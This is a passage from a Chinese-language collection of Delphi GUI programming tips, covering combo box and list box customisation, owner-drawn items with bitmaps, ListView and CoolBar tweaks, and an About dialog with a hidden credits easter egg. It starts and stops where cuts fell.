end;
end;

OnPopUp代码:
procedure TForm1.PopupMenu1Popup(Sender: TObject);
var
Index : integer;
begin
Index := WidgetList.ItemIndex;
PopUpMenuItemActive.Checked := Widgets[Index].WidgetStatus;
end;

弹出式菜单项"Active"的OnClick代码：
procedure TForm1.PopUpMenuItemActiveClick(Sender: TObject);
var
Index : integer;
begin
Index := WidgetList.ItemIndex;
Widgets[Index].WidgetStatus := not Widgets[Index].WidgetStatus;
PopUpMenuItemActive.Checked:=not PopUpMenuItemActive.Checked;
end;

投稿人：CoDelphi.com　投稿日期：2001-5-12 11:00:00


改造组合框

 Windows的组合框包含一个列表框。在标准组合框中,这个列表框的宽度与组合框完全一致。但是，你能够使这个列表框变得更宽或更窄。甚至改变列表框显示的位置。你已经看到过Microsoft Word和Microsoft Excel中这样的组合框。这篇文章说明如何从组合框类派生子类以获得这样的特性。

组合框实际上是两个或多个控件的组合，这就是为什么它被叫作组合框。

改变组合框列表的外观,你须要其中的列表框句柄。这是困难的，因为列表框事实上隶属桌面窗口(CBS_DROPDOWN和CBS_DROPDOWNLIST风格).假如它是隶属于组合框，下拉列表将使它弹回父窗体,它根本不会显示。

当构成组合框的控件须要重画时，它们向组合框发送WM_CTLCOLORMSGBOX..WM_CTLCOLORSTATIC消息。并同意组合框定义这些控件的颜色。消息中的lParam参数的高字节指明控件的类型。对组合框而言，窗体发送给它的WM_CTLCOLORLISTBOX消息的lParam参数中就包含列表框的句柄。

一旦获得列表框控件的窗体句柄,你就可以用API函数MoveWindow 调整控件大小了。

下面的代码演示应该怎么做。这个例子从标准的组合框派生出一个新的组件并且改变了它的特性。

unit siComboBox;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TsiComboBox = class(TComboBox)
private
{ 私有声明 }
FFirst: boolean;
FRect: TRect;
FListHandle: HWND;
FCWX: integer;
FCX: integer;
FCY: integer;
protected
{ 保护性声明 }
// 为改变它的特性，我们将超越它。
procedure WndProc(var Message: TMessage); override;
public
{ 公有声明 }
constructor Create(AOwner: TComponent); override;
published
{ 属性声明 }
// 代表宽度和指明列表下拉左上角座标的属性:
property CWX: integer read FCWX write FCWX default 0;
property CX: integer read FCX write FCX default 0;
property CY: integer read FCY write FCY default 0;
end;

procedure Register;

implementation

procedure Register;
begin
RegisterComponents(''siComponents'', [TsiComboBox]);
end;

{ TsiComboBox }

constructor TsiComboBox.Create(AOwner: TComponent);
begin
inherited;
FFirst := True;
FCX := 0;
FCWX := 0;
FCY := 0;
end;

procedure TsiComboBox.WndProc(var Message: TMessage);

Var
CurRect: TRect;

begin
inherited;
if Message.Msg = WM_CTLCOLORLISTBOX then begin
//得到列表框句柄
FListHandle := Message.LParam;
// 得到列表框窗体矩形

GetWindowRect ( FListHandle, CurRect );
If (CurRect.Left <> FRect.Left) Or (CurRect.Top <> FRect.Top) Then
Begin
FRect := CurRect;
End;

// 调整列表框大小和位置
MoveWindow ( FListHandle, FRect.left + FCX, FRect.top + FCY,
(FRect.right - FRect.left + FCWX),
FRect.bottom - FRect.top, TRUE );
end;
end;

end.

投稿人：CoDelphi.com　投稿日期：2001-5-12 15:39:00


改变下拉编辑框的宽度

 ComboBox1.Perform(CB_SETDROPPEDWIDTH, 200, 0);


如何选择合适的组合框

Delphi(Windows)提供三种用户接口类型的组合框，它们具有一些相同的特点，但是它们也有它们各自的特点。知道这些不同，可以让你在工作中选择合适的组合框。

所有类型的组合框都具有一个列表框和一个编辑框，用户能从列表框中选择也可以在编辑框中编辑。当用户从列表框中选择时，选择的结果会放到编辑框中。它们的不同的属性在于它们的外表和与用户的交互上。其中两种类型的列表框用较少的空间，一种类型可以防止增加不存在的新的内容。下表描述了它们的属性：

类型(Style) 描述(Description)

Simple(简单型) 简单类型的组合框只不过是一个在列表框上放一个编辑框。用户能从列表中选择也可以在编辑框中输入。
Drop-down(下拉式) 非常象简单类型，除了列表部分在初始时不显示，提供显示一个下拉按钮使用户可以能查看列表框和选择列表选项。用户可以在编辑框中编辑。
Drop-Down List(下拉列表式) 下拉列表框具有最多的限制。列表部分在初始时不显示，提供显示一个下拉按钮使用户可以能查看列表框和选择列表选项。用户不可以在编辑框中编辑。

当你在Form上有一个扩展的空间或者列表选项非常少时，你可以使用简单型的组合框。当需要一个动态下拉框以节约Form空间时可以选择下拉型的组合框；如果仅仅只是让用户从列表中选择一个选项并且节约空间时使用下拉列表型的组合框。


列表框的拖放操作

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TForm1 = class(TForm)
ListBox1: TListBox;
procedure ListBox1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure ListBox1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
procedure ListBox1DragDrop(Sender, Source: TObject; X, Y: Integer);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.ListBox1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
listbox1.begindrag(false);
end;

procedure TForm1.ListBox1DragOver(Sender, Source: TObject; X, Y:
Integer;
State: TDragState; var Accept: Boolean);
var
aPoint:TPoint;
begin
aPoint.x:=x;
aPoint.y:=y;
if (source is tlistbox) and
(listbox1.ItemAtPos(apoint,true)<>-1)
and
(listbox1.itematpos(apoint,true)<>listbox1.itemindex)
then
accept:=true;
end;

procedure TForm1.ListBox1DragDrop(Sender, Source: TObject; X, Y:
Integer);
var
aPoint:TPoint;
begin
aPoint.x:=x;
aPoint.y:=y;
listbox1.items.Exchange(listbox1.itemindex,listbox1.itematpos(aPoint,true));
end;

end.


为Listboxes和Comboboxes添加图片

这里是一个例子：

1. 创建一个form；

2. 放置ComboBox、Listbox于其上；

3. 改变ComboBoxStyle属性：=csOwnerDrawVariable；ListBox属性为lbOwnerDrawVariable；

4. 在Var小节生成5个TBitmap变量；

5. 生成Form's OnCreate、ComboBox's OnDraw、ComboBox's OnMeasureItem、Form's OnClose事件；

以下是源代码：==============================

{START OWNERDRW.PAS}
unit Ownerdrw;

interface

uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls;

type
TForm1 = class(TForm)
ComboBox1: TComboBox;
ListBox1: TListBox;
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure ComboBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
procedure ComboBox1MeasureItem(Control: TWinControl; Index: Integer;
var Height: Integer);
procedure ListBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
procedure ListBox1MeasureItem(Control: TWinControl; Index: Integer;
var Height: Integer);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
TheBitmap1, TheBitmap2, TheBitmap3, TheBittmap4,
TheBitmap5 : TBitmap;
implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
TheBitmap1 := TBitmap.Create;
TheBitmap1.LoadFromFile('C:\delphi\images\buttons\globe.bmp');

TheBitmap2 := TBitmap.Create;
TheBitmap2.LoadFromFile('C:\delphi\images\buttons\video.bmp');
TheBitmap3 := TBitmap.Create;
TheBitmap3.LoadFromFile('C:\delphi\images\buttons\gears.bmp');
TheBitmap4 := TBitmap.Create;
TheBitmap4.LoadFromFile('C:\delphi\images\buttons\key.bmp');
TheBitmap5 := TBitmap.Create;
TheBitmap5.LoadFromFile('C:\delphi\images\buttons\tools.bmp');
ComboBox1.Items.AddObject('Bitmap1: Globe', TheBitmap1);
ComboBox1.Items.AddObject('Bitmap2: Video', TheBitmap2);
ComboBox1.Items.AddObject('Bitmap3: Gears', TheBitmap3);
ComboBox1.Items.AddObject('Bitmap4: Key', TheBitmap4);
ComboBox1.Items.AddObject('Bitmap5: Tools', TheBitmap5);
ListBox1.Items.AddObject('Bitmap1: Globe', TheBitmap1);
ListBox1.Items.AddObject('Bitmmap2: Video', TheBitmap2);
ListBox1.Items.AddObject('Bitmap3: Gears', TheBitmap3);
ListBox1.Items.AddObject('Bitmap4: Key', TheBitmap4);
ListBox1.Items.AddObject('Bitmap5: Tools', TheBitmap5);

end;

procedure TForm1.FormClose(Sender: TObject; var Action:
TCloseAction);
begin
TheBitmap1.Free;
TheBitmap2.Free;
TheBitmap3.Free;
TheBitmap4.Free;
TheBitmap5.Free;
end;

procedure TForm1.ComboBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
var
Bitmap: TBitmap;
Offset: Integer;
begin
with (Control as TComboBox).Canvas do
begin
FillRect(Rect);
Bitmap := TBitmap(ComboBox1.Items.Objects[Index]);
if Bitmap <> nil then
begin
BrushCopy(Bounds(Rect.Left + 2, Rect.Top + 2, Bitmap.Width,
Bitmap.Height), Bitmap, Bounds(0, 0, Bitmap.Width,
Bitmap.Height), clRed);
Offset := Bitmap.width + 8;
end;
{ display the text }
TextOut(Rect.Left + Offset, Rect.Top, Combobox1.Items[Index])
end;
end;

procedure TForm1.ComboBox1MeasureItem(Control: TWinControl; Index:
Integer; var Height: Integer);
begin
height:= 20;
end;

procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
var
Bitmap: TBitmap;
Offset: Integer;
begin
with (Control as TListBox).Canvas do
begin
FillRect(Rect);
Bitmap := TBitmap(ListBox1.Items.Objects[Index]);
if Bitmap <> nil then
begin
BrushCopy(Bounds(Rect.Left + 2, Rect.Top + 2, Bitmap.Width,
Bitmap.Height), Bitmap, Bounds(0, 0, Bitmap.Width,
Bitmap.Height), clRed);
Offset := Bitmap.width + 8;
end;
{ display the text }

TextOut(Rect.Left + Offset, Rect.Top, Listbox1.Items[Index])
end;
end;

procedure TForm1.ListBox1MeasureItem(Control: TWinControl; Index: Integer;
var Height: Integer);
begin
heeight:= 20;
end;

end.
{END OWNERDRW.PAS}

{START OWNERDRW.DFM}
object Form1: TForm1
Left = 211
Top = 155
Width = 435
Height = 300
Caption = 'Form1'
Font.Color = clWindowText
Font.Height = -13
Font.Name = 'System'
Font.Style = []
PixelsPerInch = 96
OnClose = FormClose
OnCreate = FormCreate
TextHeight = 16
object ComboBox1: TComboBox
Left = 26
Top = 30
Width = 165
Height = 22
Style = csOwnerDrawVariable
ItemHeight = 16
TabOrder = 0
OnDrawItem = ComboBox1DrawItem
OnMeasureItem = ComboBox1MeasureItem

end
object ListBox1: TListBox
Left = 216
Top = 28
Width = 151
Height = 167
ItemHeight = 16
Style = lbOwnerDrawVariable
TabOrder = 1
OnDrawItem = ListBox1DrawItem
OnMeasureItem = ListBox1MeasureItem
end
end
{END OWNERDRW.DFM}


具有不同字体的列表框

一般情况下，列表框内所有项的字体、大小、颜色等属性都是一样的。但是我们可以通过编写简单的程序使得每一项都能有自己的字体、大小和颜色。为了对比，我们用了两个Listbox构件，Listbox1按一般情况显示，Listbox2显示的每一项都可以有自己的字体、大小、颜色。

---- 首先把Listbox2的style属性改为lbOwnerDrawVariable。然后分别编写它的OnDrawItem事件和OnDrawItem事件。下面就是Listbox2 的OnDrawItem事件和OnDrawItem事件的代码：

procedure TForm1.ListBox2DrawItem(Control:
TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
begin
with ListBox2.Canvas do
begin
FillRect(Rect);
Font.Size := 12;
if Index mod 2 =0 Then
begin
Font.Name := '宋体';
Font.Color := Clred;
end
else
begin
Font.Name := '隶书';
Font.Color := Clgreen;
end;
TextOut(Rect.Left+1, Rect.Top+1,
ListBox2.Items[Index]);
end;
end;

procedure TForm1.ListBox2MeasureItem
(Control: TWinControl; Index: Integer;
var Height: Integer);
begin
with ListBox1.Canvas do
begin
Font.Size := 12;
if Index mod 2 =0 Then
begin
Font.Name := '黑体';
Font.Color := Clred;
end
else
begin
Font.Name := '隶书';
Font.Color := Clgreen;
end;
Height := TextHeight('Wg') + 2;
end;
end;


禁止改变标题头宽度

ListView1.Columns[0].MaxWidth := ListView1.Columns[0].MinWidth;

但宽度不能设为0或-1


添加OnColumnDblClick事件

header类有CS_DBLCLKS样式, 使它可以接收WM_LBUTTONDBLCLK 消息,uses ..., Commctrl;
...
const
  UM_LISTVIEW_COLUMN_DBLCLICK = WM_USER + 1982;
....
Function
  HeaderProc( wnd: HWND; msg: Cardinal; wparam: WPARAM; lparam: LPARAM): Longint; stdcall;
var
  hti: THDHitTestInfo;
Begin
  Result := CallWindowProc( Pointer( GetWindowLong( wnd, GWL_USERDATA )),
                            wnd, msg, wparam, lparam );
  If msg = WM_LBUTTONDBLCLK Then Begin
    FillChar( hti, sizeof(hti), 0 );
    hti.Point := SmallPointToPoint( TSmallPoint( lparam ));
    If SendMessage( wnd, HDM_HITTEST, 0, Longint(@hti)) >= 0 Then
      If hti.Flags = HHT_ONHEADER
        Then PostMessage(MainForm.Handle,UM_LISTVIEW_COLUMN_DBLCLICK,hti.Item,0);
        { Change MainForm to whatever you need }
  End;
End;

procedure TMainForm.FormCreate(Sender: TObject);
var
  wnd: HWND;
  oldProc: Integer;
begin
  wnd:= GetWindow( aListView.handle, GW_CHILD );   If wnd <> 0 then begin
        If (GetClassLong( wnd, GCL_STYLE ) and CS_DBLCLKS) <> 0 then begin
      oldproc := GetWIndowLong( wnd, GWL_WNDPROC );
      If GetWindowLong( wnd, GWL_USERDATA ) <> 0 Then
        raise Exception.Create( 'Cannot sublcass ListView header, USERDATA already in use');
      SetWIndowLong( wnd, GWL_USERDATA, oldproc );
      SetWindowLong( wnd, GWL_WNDPROC, integer(@HeaderProc));
    end;
  end
  else
    ShowMessage('ListView component in vsReport state is missing !!!');
  {...}
end;

and then don't forget to declare a custom message handler for UM_LISTVIEW_COLUMN_DBLCLICK (this will be your OnColumnDblClick equivalent).


为ListView的Item增加提示功能

const
LVM_FIRST = $1000;
LVM_SETEXTENDEDLISTVIEWSTYLE = LVM_FIRST + 54;
LVS_EX_INFOTIP = $00000400;
LVM_GETTOOLTIPS = LVM_FIRST + 78;
TTM_SETDELAYTIME = WM_USER + 3;
TTDT_AUTOMATIC = 0;
TTDT_AUTOPOP = 2;

procedure TMainForm.FormCreate(Sender: TObject);
var
tooltiphandle : HWND;
begin
sendmessage(listView1.handle,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_INFOTIP,LVS_EX_INFOTIP);
tooltiphandle:=sendmessage(ListView1.handle,LVM_GETTOOLTIPS,0,0);
sendmessage(tooltiphandle,TTM_SETDELAYTIME,TTDT_AUTOMATIC,1);
sendmessage(tooltiphandle,TTM_SETDELAYTIME,TTDT_AUTOPOP,5000);
end;


实现windows桌面上拖动图标的界面

//用TListView把TListView放在form上，设定align:=alclient;
添加几个ListItem,设定大图标，ListView.viewstyle:=vsicon
下面是代码
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ImgList, ComCtrls;

type
TForm1 = class(TForm)
fghd:
TListView;
ImageList1: TImageList;
procedure fghdDragOver(Sender, Source: TObject; X, Y:
Integer;
State: TDragState; var Accept:
Boolean);
procedure fghdDragDrop(Sender, Source: TObject;
X, Y: Integer);
procedure fghdMouseDown(Sender: TObject;
Button: TMouseButton;
Shift: TShiftState; X,
Y: Integer);
private
{ Private declarations
}
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.fghdDragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
begin
accept:=Source is TlistView
end;

procedure TForm1.fghdDragDrop(Sender, Source: TObject; X, Y: Integer);
var
PosPoint:TPoint;
begin
PosPoint.x:=x;
PosPoint.y:=Y;
(Source As TListView).Selected.SetPosition(PosPoint);
end;

procedure TForm1.fghdMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if button=mbleft then
begin
with sender as TListview do
begin
if GetItemAt(x,y)<>nil then
begindrag(false);
end;
end;
end;

end.


动态改变ToolButton的大小

 toolbar1.Perform(TB_SETBUTTONSIZE, 0, MakeLParam(50, 50));


使TCoolBar的背景有透明属性

 procedure TForm1.Button1Click(Sender: TObject);
var
Bm1 : TBitmap;
Bm2 : TBitmap;
begin
Bm1 := TBitmap.Create;
Bm2 := TBitmap.Create;
Bm1.LoadFromFile('c:\download\test.bmp');
Bm2.Width := Bm1.Width;
Bm2.Height := Bm1.Height;
bm2.Canvas.Brush.Color := CoolBar1.Color;
bm2.Canvas.BrushCopy(Rect(0, 0, bm2.Width, bm2.Height),
Bm1,
Rect(0, 0, Bm1.width, Bm1.Height),
ClWhite);
bm1.Free;
CoolBar1.Bitmap.Assign(bm2);
bm2.Free;
end;


在运行时操控Coolbars

 操控Coolbars有一些麻烦，它不如大多数其他Delphi控件那么简单，而且你必须发送消息来操纵它上的band。(参看ComCtrls.pas中的TCoolBar.UpdateItem函数)

这里有一个简单的例子。它将最前面的三个bands放到第一行（每个的width = 75），将剩下的band由它们自己放到新行中。（在你的"uses"加入CommCtrl）

procedure TForm1.Button1Click(Sender: TObject);
var
i: Integer;
BandInfo: TReBarBandInfo;
begin
// 删除所有的band!!
for i := 0 to Coolbar1.Bands.Count - 1 do
Coolbar1.Perform(RB_DELETEBAND, 0, 0);

// 重新插入band，因为我们需要它们
for i := 0 to Coolbar1.Bands.Count - 1 do
begin
FillChar(BandInfo, SizeOf(TReBarBandInfo), 0);
BandInfo.cbSize := SizeOf(TReBarBandInfo);
BandInfo.fMask := RBBIM_SIZE or RBBIM_CHILD or
RBBIM_CHILDSIZE or RBBIM_STYLE;
Coolbar1.Perform(RB_GETBANDINFO, i, Integer(@BandInfo));

if (i > 2) then BandInfo.fStyle := BandInfo.fStyle or
RBBS_BREAK;

BandInfo.hwndChild := Coolbar1.Bands[i].Control.Handle;
BandInfo.cx := 75;
BandInfo.cxMinChild := Coolbar1.Bands[i].MinWidth;
BandInfo.cyMinChild := Coolbar1.Bands[i].MinHeight;
Coolbar1.Perform(RB_INSERTBAND, i, Integer(@BandInfo));
end;
end;

投稿人：CoDelphi.com　投稿日期：2001-5-12 15:37:00


让拖放目标控件显示拖放图象

在你想要显示dragimage的控件的OnDragOver里：

(Sender as TControl).ControlStyle := (Sender as TControl).ControlStyle + [csDisplayDragImage];


给自己的程序制作复活节彩蛋

//主窗体
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ComCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
StatusBar1: TStatusBar;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

uses About;

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
aboutbox.showmodal;
end;

end.

//About窗体
{=============通用About程序源代码=============}
{
}
{    _/\_/\__ Copyright by 梁 明
__/\_/\_
}
{
1998-01-02
}
{
}
{=============================================}
unit About;

interface

uses Windows, SysUtils, Classes, Graphics, Forms, Controls, StdCtrls,
Buttons, ExtCtrls,Dialogs;

type
TAboutBox = class(TForm)
Panel1: TPanel;
ProgramIcon:
TImage;
ProductName: TLabel;
Version: TLabel;
Copyright:
TLabel;
others: TLabel;
Author: TPaintBox;
BitBtn1: TBitBtn;
Bevel1:
TBevel;
lblOs: TLabel;
lblMemory: TLabel;
procedure FormCreate(Sender:
TObject);
procedure ProgramIconClick(Sender: TObject);
procedure
OKButtonClick(Sender: TObject);
procedure FormKeyPress(Sender: TObject; var
Key: Char);
private
{ Private declarations }
s:string;
Procedure
Delay(x,y:word);//延时程序
procedure GetOSInfo; //系统信息程序
Procedure
GetMemoryInfo ; //可用资源程序
public
{ Public declarations }
end;

var
AboutBox: TAboutBox;

implementation

{$R *.DFM}
Procedure TAboutBox.GetMemoryInfo ;//可用资源
var
MS: TMemoryStatus;
begin
MS.dwLength := SizeOf(TMemoryStatus);
GlobalMemoryStatus(MS);
lblMemory.Caption :=lblMemory.Caption +FormatFloat('#,###" KB"', MS.dwTotalPhys div 1024);
end;

procedure TAboutBox.GetOSInfo; //获取系统信息
var
Platform: string;
BuildNumber: Integer;
begin
case Win32Platform of
VER_PLATFORM_WIN32_WINDOWS:
begin
Platform := 'Windows 95';
BuildNumber := Win32BuildNumber and $0000FFFF;
end;
VER_PLATFORM_WIN32_NT:
begin
Platform := 'Windows NT';
BuildNumber := Win32BuildNumber;
end;
else
begin
Platform := 'Windows';
BuildNumber := 0;
end;
end;
if (Win32Platform = VER_PLATFORM_WIN32_WINDOWS) or
(Win32Platform = VER_PLATFORM_WIN32_NT) then
begin
if Win32CSDVersion = '' then
lblOS.Caption := lblOS.Caption+Format('%s %d.%d (Build %d)', [Platform, Win32MajorVersion,
Win32MinorVersion, BuildNumber])
else
lblOS.Caption := lblOS.Caption+Format('%s %d.%d (Build %d: %s)', [Platform, Win32MajorVersion,
Win32MinorVersion, BuildNumber, Win32CSDVersion]);
end
else
lblOS.Caption := lblOS.Caption+Format('%s %d.%d', [Platform, Win32MajorVersion,
Win32MinorVersion])
end;

procedure Taboutbox.Delay(x,y:word);
var timeout:TDateTime;
begin
//该成为WINDOWS APP启动时间这个函数来做!
timeout:=now+encodeTime(0,x div 60,x mod 60,y);
While now<timeout do
Application.ProcessMessages;
end;

procedure TAboutBox.FormCreate(Sender:
TObject);
begin
{**********************************************}
try
Caption:='关于'+application.Title;
//标题
ProgramIcon.Picture.icon:=Application.Icon;
//图标
ProductName.Caption:=ProductName.Caption+Application.Title;//产品名称
version.Caption:=version.Caption+'1.00';
//版本
Copyright.Caption:=Copyright.Caption+'中国 ● 西安 梁明工作室
';
others.Caption:='警
告：未经允许，任何个人、单位不得以任何方式'+#13#10+
'非法拷贝、盗用！否则，系统在运行过程中出现的任何'+#13#10+
'问题作者将不负任何连带责任！';
////初始化---------------------------
GetMemoryInfo;
GetOsinfo;
{***********************}
//初始化变量s...
s:='';
except
MessageBox(handle,'某些信息不能取得','提示',MB_OK);
end;
end;

procedure TAboutBox.ProgramIconClick(Sender: TObject);
var
i,fontheight:Byte;
begin
try
panel1.Hide;
fontheight:=author.Canvas.TextHeight('A');
for
i:=0 to 150+fontHeight*8 do
if not panel1.Visible then
//在此处添加说明
with author.Canvas
do
begin
textout(25,100-i,'感谢您选用"'+Application.Title+'"系统！');
textout(25,100+fontheight-i,'');
textout(25,100+fontheight*2-i,'系统说明——');
textout(25,100+fontheight*3-i,'软件作者：梁
明');
textout(25,100+fontheight*4-i,'开发前端：Borland Delphi
4.0');
textout(25,100+fontheight*5-i,'数据处理：Borland Paradox
7.0');
textout(25,100+fontheight*6-i,'开发周期：99/02/10-99/02/13');
textout(25,100+fontheight*7-i,'');
textout(25,100+fontheight*8-i,'技术支持——');
textout(25,100+fontheight*9-i,'热线支持：(029)7295153
梁先生');
textout(25,100+fontheight*10-i,'方便传呼：126-5030345
梁先生');
textout(25,100+fontheight*11-i,'电子邮件：delphifan@990.net');
textout(25,100+fontheight*12-i,'网上服务：liangming.163.net');
textout(25,100+fontheight*13-i,'');
textout(25,100+fontheight*14-i,'
梁 明 于梁明工作室 ');
textout(25,100+fontheight*15-i,'
1999/02/10');
Delay(0,20);
end;
finally
panel1.Show;
Aboutbox.Refresh;
end;
end;

procedure TAboutBox.OKButtonClick(Sender:
TObject);
begin
panel1.Show;
Aboutbox.Refresh;
close;
end;

procedure TAboutBox.FormKeyPress(Sender: TObject; var Key: Char);
begin
s:=s+key; //用户输入"Author"这显示
if StrUpper(Pchar(s))='AUTHOR' then
begin
ProgramIconclick(sender);
s:=''
end;
end;

end.

窗体As text代码
//主窗体
object Form1: TForm1
Left = 195
Top = 103
Width = 324
Height = 186
Caption = '演示-->梁明'
Color = clBtnFace
Font.Charset = GB2312_CHARSET
Font.Color = clWindowText
Font.Height = -12
Font.Name = '宋体'
Font.Style = []
OldCreateOrder = False
PixelsPerInch = 96
TextHeight = 12
object Button1: TButton
Left = 192
Top = 48
Width = 75
Height = 25
Hint = '显示关于对话框'
Caption = '关于...'
ParentShowHint = False
ShowHint = True
TabOrder = 0
OnClick = Button1Click
end
object StatusBar1: TStatusBar
Left = 0
Top = 140
Width = 316
Height = 19
AutoHint = True
Panels = <
item
Width = 50
end>
SimplePanel = False
end
end
//About窗体
object AboutBox: TAboutBox
Left = 410
Top = 92
BorderStyle = bsDialog
ClientHeight = 213
ClientWidth = 362
Color = clBtnFace
Font.Charset = GB2312_CHARSET
Font.Color = clWindowText
Font.Height = -12
Font.Name = '宋体'
Font.Style = []
Icon.Data = {
0000010001002020100000000000E80200001600000028000000200000004000
0000010004000000000080020000000000000000000000000000000000000000
000000008000008000000080800080000000800080008080000080808000C0C0
C0000000FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000330000000000000000000000033303303303300000000000000
0003303330333003003300000000000000033003330330002333000000000000
0030000033003033333000000000000033333330000003330003330000000803
33333333333333300233330000000F033333333333333302333BB03000004F83
33333333333333333BB003BB00004FF3333333333333B33BB0033BBB00004FF3
33333333B3BB3BB0033BBBB000004FF83B333B3B3B3BBBB03BBBBB0300F04FFF
33B3B3B3BBBBBBBBBBBB00330FF04FFF8B3B3333BBBBBBBBBB0033330FF044FF
F8BBB03033BBBBB330333330FFF444FFF8BB0BB3003B330003333330FF44444F
F88B3BBB300000033333B33FFF44444FFF3BB0BBB3000333B33BB38FF4444444
FF003B0BB333333BBBBBB3FFF44444444FF00030BBBBBBBBBBBBBBFF44444444
0000000303BBB3300000BFF444444400000000000000000000000FF444440000
0000000000000000000000444444000000000000000000000000000044440000
0000000000000000000000000444000000000000000000000000000000040000
000000000000000000000000000000000000000000000000000000000000FFFF
FFFFFFFFFFFFFFFF1FFFFF8003FFFC0000FFF800007FF800007FE000003F0000
001F0000001F0000000F00000007000000070000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000C0
00000FE01F003FFFFF80FFFFFFC0FFFFFFF0FFFFFFF8FFFFFFFEFFFFFFFF}
KeyPreview = True
OldCreateOrder = True
Position = poScreenCenter
OnCreate = FormCreate
OnKeyPress = FormKeyPress
PixelsPerInch = 96
TextHeight = 12
object Author: TPaintBox
Left = 0
Top = 8
Width = 364
Height = 159
Font.Charset = GB2312_CHARSET
Font.Color = clBlue
Font.Height = -12
Font.Name = '宋体'
Font.Style = []

ParentFont = False
end
object Panel1: TPanel
Left = 8
Top = 7
Width = 347
Height = 170
BevelOuter = bvNone
ParentColor = True
TabOrder = 0
object ProgramIcon: TImage
Left = 13
Top = 7
Width = 32
Height = 32
AutoSize = True
OnClick = ProgramIconClick
IsControl = True
end
object ProductName: TLabel
Left = 60
Top = 9
Width = 60
Height = 12
Caption = '系统名称：'
Font.Charset = GB2312_CHARSET
Font.Color = clWindowText
Font.Height = -12
Font.Name = '宋体'
Font.Style = []
ParentFont = False
IsControl = True
end
object Version: TLabel
Left = 60
Top = 25
Width = 60
Height = 12
Caption = '版 本：'
Font.Charset = GB2312_CHARSET
Font.Color = clWindowText
Font.Height = -12
Font.Name = '宋体'
Font.Style = []
ParentFont = False
IsControl = True
end
object Copyright: TLabel
Left = 60
Top = 41
Width = 60
Height = 12
Caption = '版权所有：'
IsControl = True
end
object others: TLabel
Left = 13
Top = 124
Width = 6
Height = 12
end
object Bevel1: TBevel
Left = -8
Top = 109
Width = 344
Height = 7
Shape = bsBottomLine
end
object lblOs: TLabel
Left = 13
Top = 80
Width = 60
Height = 12
Caption = '操作系统：'
IsControl = True
end
object lblMemory: TLabel
Left = 13
Top = 96
Width = 60
Height = 12
Caption = '可用内存：'
IsControl = True
end
end
object BitBtn1: TBitBtn
Left = 145
Top = 184
Width = 80
Height = 25
Caption = '确定'
Default = True
ModalResult = 2
TabOrder = 1
OnClick = OKButtonClick
Glyph.Data = {
DE010000424DDE01000000000000760000002800000024000000120000000100
0400000000006801000000000000000000001000000010000000000000000000
80000080000000808000800000008000800080800000C0C0C000808080000000
FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF00333333333333
3333333333333333333333330000333333333333333333333333F33333333333
00003333344333333333333333388F3333333333000033334224333333333333
338338F3333333330000333422224333333333333833338F3333333300003342
222224333333333383333338F3333333000034222A22224333333338F338F333
8F33333300003222A3A2224333333338F3838F338F33333300003A2A333A2224
33333338F83338F338F33333000033A33333A222433333338333338F338F3333
0000333333333A222433333333333338F338F33300003333333333A222433333
333333338F338F33000033333333333A222433333333333338F338F300003333
33333333A222433333333333338F338F00003333333333333A22433333333333
3338F38F000033333333333333A223333333333333338F830000333333333333
333A333333333333333338330000333333333333333333333333333333333333
0000}
NumGlyphs = 2
end
end


自适应表单的实现

---- 我 们 知 道， 屏 幕 分 辨 率 的 设 置 影 响 着 表 单 布 局， 假 设 你 的 机 器 上 屏 幕 分
辨 率 是800*600， 而 最 终 要 分 发 应 用 的 机 器 分 辨 率 为640*480， 或1024*768， 这 样 你
原 先 设 计 的 表 单 在 新 机 器 上 势 必 会 走 样。 这 时 你 一 定 希 望 表 单 能 自 己 适 应
不 同 的 分 辨 率， 下 面 就 有 两 种 方 法 可 供 你 参 考。

---- 一、 根 据 新 的 分 辨 率 自 动 重 画 表 单 及 控 件

---- 先 在 表 单 单 元 的Interface 部 分 定 义 两 个 常 量， 表 示 设 计 时 的 屏 幕 的 宽 度 和 高
度（ 以 像 素 为 单 位）。 在 表 单 的Create 事 件 中 先 判 断 当 前 分 辨 率 是 否 与 设 计 分
